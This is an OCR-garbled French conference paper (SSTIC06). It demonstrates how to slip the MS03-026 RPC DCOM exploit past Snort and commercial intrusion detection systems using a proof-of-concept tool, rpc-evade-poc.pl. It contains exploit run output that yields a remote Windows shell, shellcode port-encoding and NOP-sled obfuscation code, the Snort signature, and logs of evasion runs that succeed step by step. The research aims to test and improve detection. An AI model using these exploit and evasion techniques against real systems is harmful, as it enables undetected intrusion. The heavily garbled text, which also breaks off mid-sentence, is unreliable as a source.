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Resune  Lesequipements de cetection et de pevention des intrus ions
sont pethore. lls petendent garantir un niveau de ®cu rie iregaé pour
le syseme d'information. Et c'est exact, dans une certain e mesure... En
e et, les fonctionnalies mises en uvre (quand elles le so nt de manere
appropree), accroissent notablement le niveau de ®curie global.
Neanmoins il est toujours recessaire de gardera l'espri t la phrase de
Bruce Schneier : ( Security is a process, not a product ). Dans ce sens
il apparat fort imprudent de laisser sa curie unique ment sous la res-
ponsabilie de produits, aussi performants soient-ils. A n de concetiser
cette assertion nous allons montrer, etape paretape, la f acilie avec la-
quelle il est possible de contourner ces sysemes, ce avec mminimum de
connaissances Speci ques.

1 Introduction

Contourner un mecanisme de cketection et/ou de peventio n des intrusions
n'est pas une ogeration particulerement complexe.

Nous allons montrer comment concetement,etape paretape, il est possible
de construire ( from scratch ) a partir du programme oc192-dcom.c [1] , une
attaque qui exploite la vulrerabilie MS03-026 [2] sans &tre cetecee par Snort.

La facilie de cette cemonstration a deux objectifs :

{ rappeler qu'aucun outil de scurit n'est parfait;

{ prouver gqu'en contourner un n'est pas forement tes complexe.

A n d'arriver de mangere pedagogiquea ce esultat, nou s passerons par lesetapes
suivantes :

1. Etude de l'attaque telle quelle, des mecanismes de cetedbn mis en uvre
par Snort et de la manere dont est construit I'exploit ;

2. Pesentation des principales caraceristiques de DCERPC (les cktails sont
fournis en annexe) ;

3. Evocation de techniques devasion qui nous viennenta l'esprit;

4. Description de rpc-evade-poc.pl, structure et nethodes d'impementation des
techniques devasion;

5. Resultats obtenus avec Snort;
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6. Autres signatures et techniques de cetection de la mémeattaque, mis en
uvre sur des produits commerciaux et contourres par notre outil.

La dernereetape est des plus importantes dans la mesurewelle permet d'une
part delargir le spectre de nos travaux (snort n'est pas le seul syseme de
cetection / pevention d'intrusion), et d'autre part de p rouver qu'il est pos-
sible deviter plusieurs sysemes, impementant des techniques de cetection et
mis en erie.

2 Premereetape

2.1 Baseline

\e&ri ons tout d'abord la vulrerabilie du syseme cibl  ea I'exploit ( out-of-the
box ).

[root@localhost dcom]# ./oc192-dcom -d 10.0.0.105

RPC DCOM remote exploit - .:[oc192.us]:. Security

[+] Resolving host..

[+] Done.

-- Target: [Win2k-Universal]:10.0.0.105:135, Bindshell 1666,
RET=[0x0018759f]

[+] Connected to bindshell..

-- bling bling --

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

L'attaque est cetecke par Snort 2.4.

12/12-16:50:46.597623 [**] [1:2351:11] NETBIOS DCERPC
ISystemActivator path overflow attempt little endian
unicode [**] [Classification: Attempted Administrator
Privilege Gain] [Priority: 1] {TCP} 192.168.202.112:2329
-> 10.0.0.105:135

12/12-16:50:47.017642 [**] [1:648:7] SHELLCODE x86 NOOP [ **]
[Classification: Executable code was detected] [Priority . 1] {TCP}
192.168.202.112:1180 -> 10.0.0.105:135

2.2 Analyse peliminaire

La trace eseau fournie par Ethereal nous donne deuxeknents clefs. D'une
part, sur la premere ligne du graphe nous obtenons I'UUID & le nom de I'in-
terface RPC, a savoir ISystemActivator (UUID = 000001a0-0000-0000-c000-
000000000046, version = 0.0), et d'autre part,a la dernere ligne, la fonction
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DCERPC Bind: call_id: 127 UUID: ISystemActivator
DCERPC Bind_ack: call_id: 127 accept max_xmit: 58
TCFP 1107 > epmap [ACK] 5eq=73 Ack=61 Win=5840

ISystemACTIvator RemoteCreateInstance reguest

= DCE RPC Request, Fragment: 5ingle, FraglLen: 1704, Call: 229 Ctx: 1
version: 5
version (minor): 0
Packet type: Request (0)
@ Packet Flags: 0x03
& Data Representation: 10000000
Frag Length: 1704
Auth Length: 0
call ID: 229
Alloc hint: 1680
context ID: 1
opnum: 4
= IsystemActivator ISystemActivator Resolver, RemoteCreateInstance
Operation: RemoteCreateInstance (4)
@ DCOM, ORPCThis, V5.6, Causality ID: fd582432-45cc-4964-b070-ddae742c96d2
ToBeDoneLen: 1332
ToEeDone: ODFOADEBAOOCOO000ABF40B002006000020060000404 54F57. ..
[DCE RPC: 4294967295 bytes Teft, desegmentation might follow]

vulrerable : RemoteCreatelnstance (opnum 0x04). Le restedemeure actuelle-
ment relativement abscons et noye dans lestub data La deuxeme probematique
est la manere dont estecrit I'exploit. En e et ce dernier ne reconstruit pas ex-
plicitement les en-tétes RPC mais se contente d'injecter @tectement les donrees
hexadecimales dans le paquet. Dans la mesure ai nous allendevoir jouer avec
ces en-tetes, a n de construire des vecteurs d'attaque un @u plusevoles, il va
s'awerer recessaire d'extraire les parties correspondates du payload

En troiseme position vient la construction de ce payload Cette dernere
semble relativement complexe dans la mesure a1 I'exploit & veut portable sur
dierents OS.

*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)
+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0 x10)
+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0 x80)
+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0 x84)
+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0 xb4)
+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0 xb8)
+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0 xd0)
+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x18c)=*(unsigned long

*)(buf2+0x18c)+sizeof(sc)-0xc;
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En n, mais potentiellement de moindre importance, le port ouvert sur la cible
pour la connexion au shell est coce quelque part dans Ipayload

char Iport[4] = "\XOO\xFF\xFF\x8b"; /* drg */
Iportl=htons(lportl);

memcpy(&Iport[1], &lportl, 2);

*(long*)lport = *(long*)lport \*{} 0x9432BF80;
memcpy(&sc[471],&lport,4);

La modi cation de cette valeur s'awere parfois recessaire dans la mesure a1 le
port en question est potentiellement identi able comme un port suspect (666
comme d'habitude) ou tout simplement parceque son ac@s ésestreint par un
equipement de ltrage. Les octets correspondantsa ce nuraro de port devront
par conequent étre trouves dans le payload et la methode de codage reproduite.

3 DCE-RPC in a nutshell

Il est question ici de contourner des ltres de cetection, non de devenir des
experts en RPC... Dans cette optique, nous esumons rapidaent les dierents
ebments importants. A titre d'e et secondaire il est ineressant de souligner
que plus les informations donrees seront approximatives \(oire errorees), plus
la cemonstration sera brillante. Si quelqu'un qui n'a rien compris au proto-
cole arrivea contourner les meilleurs mecanismes de ceéction, qu'en est-il des
\eritables experts! i

3.1 Objectif de DCE-RPC

DCE-RPC est un protocole ¢k ni dans I'unique objectif de fo urnir une norme
de communication entre un processus et une fonctior{ distante ). La notion
de distance est relative et a uniquement pour objectif de fae la distinction
entre une fonction inegee au processus et une fonction( tebergee ) par une
entie tierce. Dans ce sclkema DCE-RPC va fournir les ek ments recessairesa
I'identi cation d’une fonction, la transmission des arguments, des esultats et
deseventuels code d'erreur.

3.2 Interfaces, liens et contextes

Pour e ectuer une operation sur une proedure distante, il est recessaire, tout
d'abord d'ttrea m&me detablir une communication avec I'n6te qui I'treberge, et
par conequent de ¢k nir un protocole de communication, une adresse adapee
au protocole en question et un ®lecteur permettant d'aceder au service. A titre
d'exemple, si le protocole de transport est UDP ou TCP, l'adiesse sera l'adresse
IP et le slecteur le port. Adresse et slecteur sont e nis comme l'adresse de
transport d'un service RPC. Les autres caraceristiques dligatoires d'un service
RPC sont le nunero de programme et sa version. Adresse de trasport, numero
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de programme et version d'un service sont couramment appes interface d'un
service RPC.

La connexion avec une proecdure distante, via son interfae, est e nie
comme un lien (( binding )). A l'issue de letablissement du lien un contexte est
e ni. Grosserement un contexte permet d'identi er une connexion, nous ver-
rons que cela peut avoir un impact non regligeable sur les qaacies de detection.

3.3 BEcution d'une commande

Lorsqu'une commande doit étre execuee via un appel RPC, il ne reste plus
qua transmettre le nunero de la fonction (opnum) et les arguments dont le
nombre et le format sont bien entendu variables, cette derpie partie est appeke
( stub data ).

La portabilie de RPC impose egalement que soit transmis les informa-
tions concernant le mode de repesentation des donrees. €tte information est
egalement transmise dans la requéte, dans un champ normi appek ( data
representation)).

3.4 Fragmentation

DCE-RPC fournit un necanisme de fragmentation et de eassemblage de ni-
veau applicatif (& ni par RPC lui-méme). Ce mecanisme e st tout a fait rustique
dans la mesure a il ne met en uvre que deux ags : (last frag) et ( rst frag ).
L'absence de ag signi ant que le paquet en cours de transmision est quelque
part au milieu.

Cette nethode de fragmentation peut &tre utiliee sur pl usieurs paquets et/ou
au sein du méme paquet, dans lequel nous allons retrouver ydieurs champs
de donrees RPC (en-tetes + data). Dans le premier cas RPC séase sur le
eassemblage et les informations de la couche transport,ahs le second sur I'ordre
dans lequel les donrees sont plaees dans le paquet.

3.5 Liens multiples et aleration de contextes

A n de gagner en performances il est possible de demanderefftablissement
de plusieurs liens vers des instances dierentesa partir d'une unique requéte.
Une unique eponse fournira le esultat de chaque requée.

Dans le méme ordre d'icee, il est possible d'e ectuer une( aleration ) de
contexte. Cela signi e simplement que le protocole autorig l'interruption d'une
communication sur un lien par une communication sur un autre puis la re-
prise du premier. Il est important de noter qu'une alerati on de contexte peut
intervenir entre deux fragments (au niveau applicatifs) d'une requéte.

4 Techniques déevasion treoriques

A premere vue DCE-RPC permet la mise en uvre des trois grandes familles
devasion : fragmentation, insertion et confusion. Ce praocole apparat donc
comme un \eritable cas decole.
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4.1 Techniques de couches 3 et 4

Fragmentation eseau Ces techniques n'ont absolument rien de speci quea
RPC. Il ne s'agit que de fragmenter les paquets ou les datagrames (couches 3
ou 4) et de laisser faire le stack.

Notons simplement au passage qu'une requéte constittee'dn unique en-téte
et des donrees peut étre fragmente sur plusieurs paquet Ainsi il est possible
d'avoir I'en-tete et le cebut des donrees dans un paquet, la suite et la n des
donrees dans le suivant, voire de fragmenter I'en-tete R sur plusieurs paquets.
Dans tous les cas RPC e ectuera de lui-méme le eassemblag

Cette dernere remarque nous incitera naturellementa tester la fragmentation
a outrance (avec des paquets contenant tes peu de donres) et avec un cklai
important entre chaque paquet.

Dans tous les cas la technique permet devaluer la capacé de eassemblage
du necanisme de cetection et sa compehension des nmecaismes basiques du
protocole.

IP IP IP IP IP
TCP TCP TCP TCP TCP

Insertions En ce qui concerne les techniques d'insertion de niveau esu, RPC
n'induit logiguement aucune speci cie. Par conequen t toutes les techniques
( classique) telles que les TTL trop petits, les cheksums invalides ou erare
I'exploitation des dierents timeouts etc. restent valables.

4.2 RPC inside

Fragmentation ( simple ) La fragmentation de niveau applicatif s'e ectue en
divisant les donrees et en les transmettant dans dierents fragments RPC (en-
tete + donrees). Cette nethode peut etre appligiee soit en emettant chaque
fragment RPC dans un paquet distinct (lui-méme potentiellement fragmene au
niveau eseau), soit enemettant plusieurs fragments dars un méme paquet.

La cktection d'une attaque fragmente de cette manere demande une ana-
lyse compkte des en-tétes et la bonne gestion des fonctimalies speci ques du
protocole, ce qui est cep relativement rare. ..
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Capacies d'insertion Plusieurs possibilies d'insertion nous sont o ertes via
ce mecanisme de fragmentation. Encore une fois il est podsie de s'appuyer sur
des techniques d'insertion de niveau eseau, mais cette fo pour faire analyser
au syseme de cetection un paquet contenant des donrees gppementaires, et
ainsi ( casser) la :quence d'une signature.

Une autre technique consisteraita faire analyser au systme de detection
un paquet de donrees RPC contenant le ag( last frag ), suivi d'une seconde
requéte incorrecte contenant le ag( rst frag ). De cette manere la signature
se trouverait ( coupee) dans deux requétes distinctes du point de vue de l'ana-
lyseur.

La dernere nethode consistea ingrer une requéte RPC contenant des ags
valides mais un autre nunero de contexte et/ou d'ogeration. Cette nethode
permettra de \eri er que le syseme de cetection e ectue un suivi de session
RPC colerent et e cace.

Aleration de contextes Une technique plus audacieuse consistea ceer simul-

tarement plusieurs contextes lors de la phase de liaison, ygos de fragmenter les

donrees RPC en passant d'un contextea l'autre via des oprations d'aleration.

En absence de mecanisme de suiv{ avan® ) des contextes la signature sera

( cas=se) lors de ces operations. Cette aleration est une forme d'nsertion.
Neanmoins, si le syseme s'awere toujours capable de dtecter l'intrusion,

il reste encore quelques possibilies. Dans un premier teps il est envisageable

d'utiliser des techniques d'insertion de niveau 3/4 pour irjecter de fausses requétes
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d'aleration de contexte, laissant croirea I'analyseur que nous travaillons sur un
autre contexte et que les donrees correspondantes n'ont [a etre assoceesa
celles transmises peedemment.

Ces techniques d'aleration peuventegalement etre eniichies de letablissement
( simultare ) de plusieurs contextesa l'issue d'une phase de liaisofi multiple ),
permettant ces lors demettre des requétes sans aleration mais sur plusieurs
contextes dierents, voire sur certains contextes qui ontee refuses.

Regroupement de commandes A l'inverse de la fragmentation il est possible
de confondre les mecanismes de cetection en regroupant pkieurs commandes
RPC dans un unique paquet. Ainsi ujn seul et méme paquet peutontenir une de-
mande de liaison et une requéte. Cette technique s'appareém egerement au ( pi-
pelining ) HTTP et se base sur les m&mes limitations des moteurs de deiction,
a savoir l'arrét de l'analysea l'issue du traitement de | a premere requéte.

4.3 Obfuscation du payload

Toutes les techniques de contournement vu jusqu'ici sont dativement gereriques
et devrait fonctionner pour toutes les attaques fondees su RPC. Neanmoins, il
reste toujours la technique la plus simple (et par consquet probablement la
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plus e cace) consistanta (eviter ) la signature en modi ant certaines parties
de l'exploit.

Repesentation des donrees Dans ces ordre d'icee un point important que
nous avonsevoqLle peedemment est l'utilisation de m ethodes de repesentation
des donrees alternatives et toutefois toujours compeheasibles par le serveur.

La principale caraceristique de repesentationa m&m e de nous ineresser est
I'ordre des octets. En e et, il est peu probable, bien pas queecessairement exclu,
que la signature d'un payload inegre une chame de caraere ou un nombre
ottant.

Le shellcode Les techniques d'obfuscation de shellcode sont connues ebm-

breuses. Les plus simples consistenta remplacer les NOP oNULL sleds par

des suites d'operations ayant peu de probabilie d'avoir le moindre e et sur

le syseme cible. L'incementation et la dcecementati on de 1 de la valeur de
registres peu utilies est une des techniques les plus clsigues. Le probeme
dans la cetection de telles parties du shellcode est I'ensable des combinaisons
d'operations possibles.

Le vecteur Le buer overow est provoqle par une requéte vers une res-
source NetBios dont le nom ex@de 32 carackres. Bien queechom puisse étre
quelconque, de nombreux exploit, dont Blaster, ont garce loriginal, a savoir
NNFXNBFXFXNBFXFXFX. Il pourrait &tre ineressant de modi  er ce nom an
de contourner les signatures les plus basiques.

5 rpc-evade-poc.pl

La compehension de RPC que nous avons atteinta ce stade, ien que relati-
vement limiee, semble cep bien su sante pourevoquer <rieusement quelques
pistes devasion et tenter de les mettre en uvre dans le cade d'un ( proof of
concept) : rpc-evade-poc.pl

5.1 Architecture et principales fonctions

Techniques dévasion Nous allons mettre en uvre la majeure partie des
techniques vues peedemment,a savoir :
{ Niveau 3/4
{ Fragmentation des datagrammes avec choix de la taille des@hrees TCP
dans chaque paquet et du ctlai d'attente entre chaque paque
{ Specique RPC
{ Fragmentation de couche 7 avec choix de la taille des donres RPC dans
chaque paquet
{ Etablissement de contextes multiples
{ Aleration de contextes
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{ Obfuscation
{ Modi cation du NOP Sled
{ Utilisation d'un nom de ressource NetBios alternatif
{ Modi cation du port pour la connexion
Bien entendu ces techniques seront appligwees a I'expldi utili® en introduc-
tion, vieux, obsokte et detece tel quel par I'ensemble des sysemes d'analyse
existants.

Mode de fonctionnement Le programme utilise un shell qui permet de posi-
tionner les dierentes options disponibles :

[root@localhost rpc-evadel# ./rpc-evade-poc.pl
DCE RPC Evasion Testing POC

> ?

show options : list actual options values

set <option> <value> : set new option values
(see help options)

exploit : launch exploit

quit : self-explanatory

Inspiration and some piece of code : Metasploit

Base of shellcode : .:[0c192.us].. Security

> show options

REMOTEPORT : 666

TARGET : 127.0.0.1

DELAY : 1

FRAGSIZE : 1024

ALTUUIDVER : 0.0

MULTIBIND : O

ALTSERVER : 0

ALTUUID : 4d9f4ab8-7d1lc-11cf-861e-0020af6e7c57

PORT : 135
RPCFRAGSIZE : 0
ALTER : O
OBFUSCATED : 0
>

Les options disponibles sont les suivantes.
{ TARGET : adresse IP de la cible,
{ PORT : port du service DCE-RPC (cefaut : 135),
{ REMOTEPORT : port de connexion du shell (cefaut : 666),
{ FRAGSIZE : taille des donrees TCP (defaut : 1024),
{ DELAY : celai d'attente en seconde entre lemission de chaque paquet
(cefaut : 1s),
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{ RPCFRAGSIZE : taille des fragments RPC (cefaut : 0 = pas de f ragmen-
tation),
{ MULTIBIND : demande de liaison de plusieurs contextes simutares (0 =
non, 1 = oui { cefaut : 0),
{ ALTER : utilisation de l'aleration de contexte (0 =non, 1 = oui { cefaut :
0),
{ ALTUUID : UUID de linterface alternative utiliee pour | ‘aleration de
contextes,
{ ALTUUIDVER : Version de l'interface alternative,
{ OBFUSCATED : Utilisation d'une modi cation triviale du NO P Sled,
{ ALTSERVER : Utilisation d'un nom de serveur NetBios altern atif (0 =
non, 1 = oui { cefaut : 0).
Les valeurs par cefaut permettent de receer I'exploit original. Le test de suces
de I'exploit est simplement eali® en \eri ant que le po rt specie par l'option
REMOTEPORT est ouvert.

5.2 Construction du payload

Probématique du payload Ceer et lire des en-tetes RPC, y ajouter des
donrees et envoyer le tout ne sont pas des operations partiulerement complexes
aussi nous ne nous attarderons sur cette partie de notre pregmme.

En revanche la construction du payload s'awere plus compl&e. En e et |'ex-
ploit reconstruit I'ensemble des donrees (incluant en paticulier les en-tétes
RPC) via un certain nombre d'operations lees a I'object if de portabilie de
I'exploit. L'extraction des ( stub data ) nous permettra alors d'isoler trois infor-
mations, recessairesa la mise en uvre de nos techniques #vasions :

{ Le NOP sled (trivial)

{ Le nom de la ressource NetBios (facile)

{ Le port distant (moyen)

Recueration des ( stub data ) La clef du suces de notre operation eside
donc dans l'extraction des deux parties de la requéte RPC rgponsable dubu er
over ow : l'en-tete et les donrees. Parmi les dierentes possibiies qui s'o rent
a nous, nous retenons encore une fois la plus simple.

Nous allons par consequent lancer Exploit, ecouter le tra c et extraire les
informations qui nous semblent pertinentes. Nous reconnasons maintenant les
dierentesetapes du lancement de I'exploit :

1. etablissement de la liaison (paquets 4 et 5);
2. appel de la proedure (paquets 6 et 7).

L'analyse du paquet 6 indique que les donrees RPC sont siteesa partir de 'octet
0x5A du paquet. Le paquet 7 ne contenant pas d'en-téte RPC, aus en ceduisons
qu'il s'agit de la suite des donrees RPC du paquet 6. La ecyeration du payload
au format hexacecimal s'e ectuea partir du dump des paquets concerres.



Actes du symposium SSTIC06 13

Obfuscation Isoler le NOP sled est trivial et ne recessite aucune expliation.

La nethode d'obfuscation retenue estegalement simple. He consiste unique-
menta remplacer les operations NOP (0x90) par des £quertes d'instructions inc
%edx (0x42); dec %edx (Ox4a). La technique peut paratre tiviale, reanmoins

elle permet devaluer les capacits de esistance aux tehniques devasion les plus
simples.

Modi cation du port et du nom de serveur Le nom de serveur est su -
samment caraceristique pour étre simplement retrouve dans le dump du paquet
eseau. Encore une fois nous nous contenterons d'une manigation simple et
incementerons de 1 chaque octet correspondanta un caraere.

En n la modi cation du nunero de port recessite de compren dre l'ogeration
e ectiee. Son codage dans le shellcode est le esultat desperations suivantes :

char Iport[4] = "XOO\xFF\xFF\x8b"; /* drg */
Iportl=htons(lportl);

memcpy(&Iport[1], &lportl, 2);

*(long*)lport = *(long*)lport \*{} 0x9432BF80;
memcpy(&sc[471],&lport,4);

Ce qui se traduit simplement par :
0x00< nunrero de port>0b XOR 0x80bf3294



14 Actes du symposium SSTIC06

Dans notre exploit original le port distant est le port 666 = 0x029a. Il ne
nous reste donc plus qua trouver la quence 0x80bda81fjui fort heureusement
est unigue dans notre dump.

6 Misea kpreuve

6.1 Snort sur le grill

Comportement de eérence Il est recessaire detablir une ekrence an
devaluer les variations de cetection en fonction des tedniques devasion utiliees.
Ainsi, l'attaque ( brute ) fournit les esultats suivants.

[root@localhost rpc-evade]# ./rpc-evade-poc.pl
DCE RPC Evasion Testing POC

> set TARGET 10.0.0.105

> exploit

# 0. Launching exploit with following options
ALTUUID : 4d9f4ab8-7dlc-11cf-861e-0020af6e7c57
FRAGSIZE : 1024

TARGET : 10.0.0.105

MULTIBIND : 0

ALTSERVER : 0

REMOTEPORT : 666

PORT : 135

DELAY : 1

RPCFRAGSIZE : 0

OBFUSCATED : 0

ALTUUIDVER : 0.0

ALTER :

# 1. Establishing connection to 10.0.0.105:135
# 2. Requesting Binding on Interface ISystemActivator
# 3. Launching Exploit

# 4. Testing Status : SUCCESS

=> Moving REMOTEPORT to 667

>

Et sa detection par snort est conformea celle e ectwee sur I'exploit original.

12/19-15:17:04.144885 [**] [1:2351:11] NETBIOS DCERPC
ISystemActivator path overflow attempt little endian unic ode
[**] [Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {TCP} 192.168.202.112:1024

-> 10.0.0.105:135

12/19-15:17:05.143358 [**] [1:648:7] SHELLCODE x86 NOOP [ **]
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[Classification: Executable code was detected] [Priority : 1] {TCP}
192.168.202.112:1024 -> 10.0.0.105:135

Echappera la etection du NOP Sled Mettons en uvre notre technique
primaire de masquage des NOP Sled.

> set OBFUSCATED 1

> exploit

# 0. Launching exploit with following options
ALTUUID : 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
FRAGSIZE : 1024

TARGET : 10.0.0.105

MULTIBIND : 0

ALTSERVER : 0

REMOTEPORT : 667

PORT : 135

DELAY : 1

RPCFRAGSIZE : 0

OBFUSCATED : 1

ALTUUIDVER : 0.0

ALTER : O

# 1. Establishing connection to 10.0.0.105:135
# 2. Requesting Binding on Interface ISystemActivator
# 3. Launching Exploit

# 4. Testing Status : SUCCESS

=> Moving REMOTEPORT to 668

>

Snort ne s'awre pas capable de cetecter notre nouvelle aquence d'operations
nulles, et la seule alerte qui est remonte est par consegent la suivante.

12/19-15:27:35.569251 [**] [1:2351:11] NETBIOS DCERPC
ISystemActivator path overflow attempt little endian unic ode
[**] [Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {TCP} 192.168.202.112:1028

-> 10.0.0.105:135

Eviter la signature spgeci que La signature qui permet encore la detection
de l'attaquea ce stade est la suivante :

alert tcp SEXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS
DCERPC ISystemActivator path overflow attempt little endi an
unicode";

flow:to_server,established; content:"|05|"; depth:1;

byte test:1,&,16,3,relative; content:"|5C 00 5C 00|";

byte test:4,>,256,-8 little,relative;
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flowbits:isset,dce.isystemactivator.bind; reference: bugtraqg,8205;
reference:cve,2003-0352; reference:nessus,11808;
reference:url,

www.microsoft.com/technet/security/bulletin/MS03-02 6.mspXx;
classtype:attempted-admin; sid:2351; rev:11;)

Les deuxekments pertinents de la signature sont :

content:"|05]|"; depth:1; byte test:1,&,16,3,relative;

content:"|5C 00 5C 00|
byte test:4,>,256,-8,little,relative;

La premere partie est compose de deux tests et est simplment ealise pour
s'assurer (plus ou moins) que nous sommes bien en pesence tta ¢ DCE-RPC.
En e et, comme nous l'avons vu peedemment, I'en-tete RPC commence par la
version,a savoir l'octet 0x05, valeur e ectivement testee au cebut des donrees
(depth=1). Le second test valide qu'un ag est bien positionre (3 octets apes
la version).

La seconde partie \eri e qu'il s'agit bien de I'appelle d'u ne ressource netbios
par la recherche du pattern nn (Ox5C 0x00 0x5C 0x00), et que la taille de ce
champ cepasse 256 octets. La taille d'un champ en RPC est unrgier de 4
octets sitte avant le champ lui-mé&me (ce qui est relativenent logique). Il su't
donc de comparer les 4 octets, sities avant le pattern, aveta valeur 256.

Echappera la cetection peut se faire selon dierentes m ethodes. La premere,
qui n'a rien de speciquea RPC, consistea utiliser une co mbinaison de frag-
mentation avec des paquets contenant 7 octets de donrees T et de timeouts
selon la methode cecrite dans [8]. De cette manere nous asserons la deuxeme
partie de la signature qui porte sur 8 octets.

Testons dans un premier temps de ®parer les contenus deehchant les deux
parties de la signature en e ectuant une simple fragmentaton applicative, la
requéte etant distribtee sur plusieurs paquets.

> set FRAGSIZE 512
> exploit

# 0. Launching exploit with following options
ALTUUID : 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
FRAGSIZE : 512

TARGET : 10.0.0.105

MULTIBIND : O

ALTSERVER : 0

REMOTEPORT : 670

PORT : 135

DELAY : 1

RPCFRAGSIZE : 0

OBFUSCATED : 1
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ALTUUIDVER : 0.0
ALTER : O

1. Establishing connection to 10.0.0.105:135

2. Requesting Binding on Interface ISystemActivator
3. Launching Exploit

4. Testing Status : SUCCESS

=> Moving REMOTEPORT to 671

>

#
#
#
#

La surprise vient du fait que Snort ne cetecte plus l'attaque. Deg! Il semble
donc que par cefaut I'analyseur ne soit pas capable de comgndre DCE-RPC
su samment pour se rendre compte que la requéte est transpree sur plusieurs
paguets.

Tuning de Snort  Une anelioration notoire peut étre e ectlee pour permet tre

a Snort de eassembler correctement le paquet. Il s'agit e positionner la directive
( both ) pour le peprocesseur streamdreassemble. Au lancement de I'exploit la
signature ( NETBIOS DCERPC ISystemActivator path over ow attempt litt le

endian Unicode) est de nouveau cetecke.

Bien que cette valeur ne soit pas positionree par cefaut nais constatons une
nette anelioration du necanisme de cetection dans la mesure ai Snort peut
esormais gerer proprement la fragmentation TCP appliqgueea RPC.

Il semblerait reanmoins que I'IDS ne soit pasa méme de trdter de manere
appropree les ux RPC s'appuyant sur un nunero de context e non-nul, ce que
nous prouvons de mangere empirique en positionnant la varable MULTIBINDa 1
dans notre outil de test. Ce paranetrage fait e ectuer les gerations suivantes au
sein d'une seule requéte :

{ Requete d'un nombre akatoire de liaisons sur un UUID alternatif;

{ Requete de liaison sur l'interface 1SystemActivator ;

{ Requete d'un nombre akatoire de liaisons sur un UUID alternatif.

Dans ce sctema le contexte obtenu pour la liaison sur l'inteface 1SystemActi-
vator est non nul. Et nous constatons que l'exploit est de noweau lane avec
suces.

6.2 Autres moteurs et signatures

Snort n'est pas le seul syseme de cetection qui puisse &t contourre. Neanmoins,
compte tenu de sa qualie, de sa popularie et de l'absenced'enjeux commer-
ciaux, il s'awere étre iceal pour la cemonstration.

Il serait cependant injuste de ne pas citer les dierentes imitations et failles
que l'on peut trouver dans les autres produits.

Principales signatures  De nombreux I(DjP)S commerciaux utilisent des si-
gnatures ckerivees de celles de Snort. La principale varigion identiee est la
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signature speci que au vers Blaster. Ce dernier utilise canme nom de ressource
NetBios : nnFXNBFXFXNBFXFXFX. La modi cation de cette valeur, totale-
ment arbitraire s'est awee parfois su sante pour conto urner les signatures les
plus simples. L'utilisation exclusive d'un nom de ressoure sgeci que et sans lien
direct avec la vulrerabilie n'est appropre que dans de ux cas :

{ syseme destirea lutter exclusivement contre les prin cipales menaces (ici

un vers relativement e cace).

{ Compkment d'une signature plus cererique permettant d'a ner l'infor-

mation.
Dans d'autres contextes une telle signature repesente ue faiblesse notable du
syseme.

Dans le méme ordre d'icee aucun syseme n'aet capablede cetecter I'obfus-
cation du NOP sled base sur l'incementation et la cecr ementation du registre
EDX. Ce comportement peut se comprendre dans la mesure ai iest impos-
sible de signer lI'ensemble des combinaisons, I'approche paignature est par
consquent inappropree pour la detection de ce type d'ogeration.

Autres signatures  Dans d'autres cas des signatures plus paranoaques (et par
congequent sujettesa de nombreux faux-positifs) onete analyses. Ainsi certains
I(DjP)S gerereront une alerte lorsqu'une requéte de liaisonest e ectiee sur
une interface invalide. Une telle signature a impos l'utilisation d'une interface
valide pour le traitement de l'option MULTIBIND de notre out il, qui e ectuait

a l'origine une demande de liaison sur une interface akaoire.

Parfaitement inexploitable dans la vraie vie, une signatue renvoyait une
alerte s qu'une demande de liaisonetait e ectiee sur l'interface 1SystemActi-
vator. Ce type de signature est une keesie en termes de ®urie dans la mesure
al elle est activee sur une operation totalement normale. Si les connexions sur
l'interface sont interdites, cette dernere doit &tre fernee. Le caseckeantil n'y a
pas de raison de pevenir en cas de bonne utilisation d'uneessource. Y a-t-il un
sensa gererer une alertea chaque commande GET a destimation d'un serveur
web. Non, bien entendu. Le principe est le méme ici.

Compehension de RPC La compehension et la reconstruction d'une requéte
RPC fragmentea dierents niveaux, inegrant des saut s de contexte et du pipe-
lining est une operation particulerement di cile dans | a mesure ai de nombreux
facteurs sonta prendre en compte.

Le premier est bien entendu la complexie technique recesitant une in-
terpetation du protocole identique a celle de la cible, ici les sysemes Micro-
soft. La seconde di cule est lee aux performances. Dans le cas de sysemes en
ecoute, et donc des IDS, cette probematique peut apparatre comme secondaire.
Elle est cependant primordiale dans le cas de sysemes erglhes tels que des IPS.

La dernéere dicule est la capaciea adopter un compor tement identique
a celui de la cible dans la gestion des timeouts et de la satation des tables
de gestion des fragments. Lever cette dernere barrere échnologique est bien
souvent l'aspect le plus complexe des operations dans la nseire al le protocole
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n'impose aucun comportement standard et que lesediteurs a documentent pas
recessairement ce type d'information.

Il n'est donc pas surprenant de constater que les cas extrées d'exploita-
tion des fonctionnalies o ertes par DCE-RPC ne sont pas traies de manere
appropree.

Approche comportementale Une dernére approche obseree consistea detecter
et/ou interdire letablissement de la connexion donnant aces au shella l'issue

de l'exploit. Le principal avantage d'une telle approche et qu'elle fournit un

( let ) de scurie dans le cas d'un exploit n'ayant paset ct eck.

Une telle detection s'e ectue selon deux mecanismes. Le pemier est simple et
se base, par exemple, sur la detection de la chame de carares Microsoft Win-
dows 2000 [Version 5.00.2195] transmise sur un port inhahitl. La modi cation
du port de la connexion de 666 (valeur cocke en dur dans I'expit)a 22 s'est
awee e cace dans ces cas. Le second necanisme est en tacelui utilise pour
cktecter les tunnels. Il prend essentiellement en compted duee des sessions.
E caces pour cetecter un shell lane par-dessus les ports 80 ou 25 par exemple,
ces mecanismes ne eagissent pas, et cela est touta fait armal, lorsqu'un shell
est soupconre au-dessus des ports 22 ou 23, par exemple.

7 Conclusion

La scurit a ses limites. Nous venons de le prouver encorene fois,a partir
dekments simples. La principale probematique n'est cependant pas &. Elle
eside essentiellement d'abord dans la prise de conscieaade cetetat de fait et
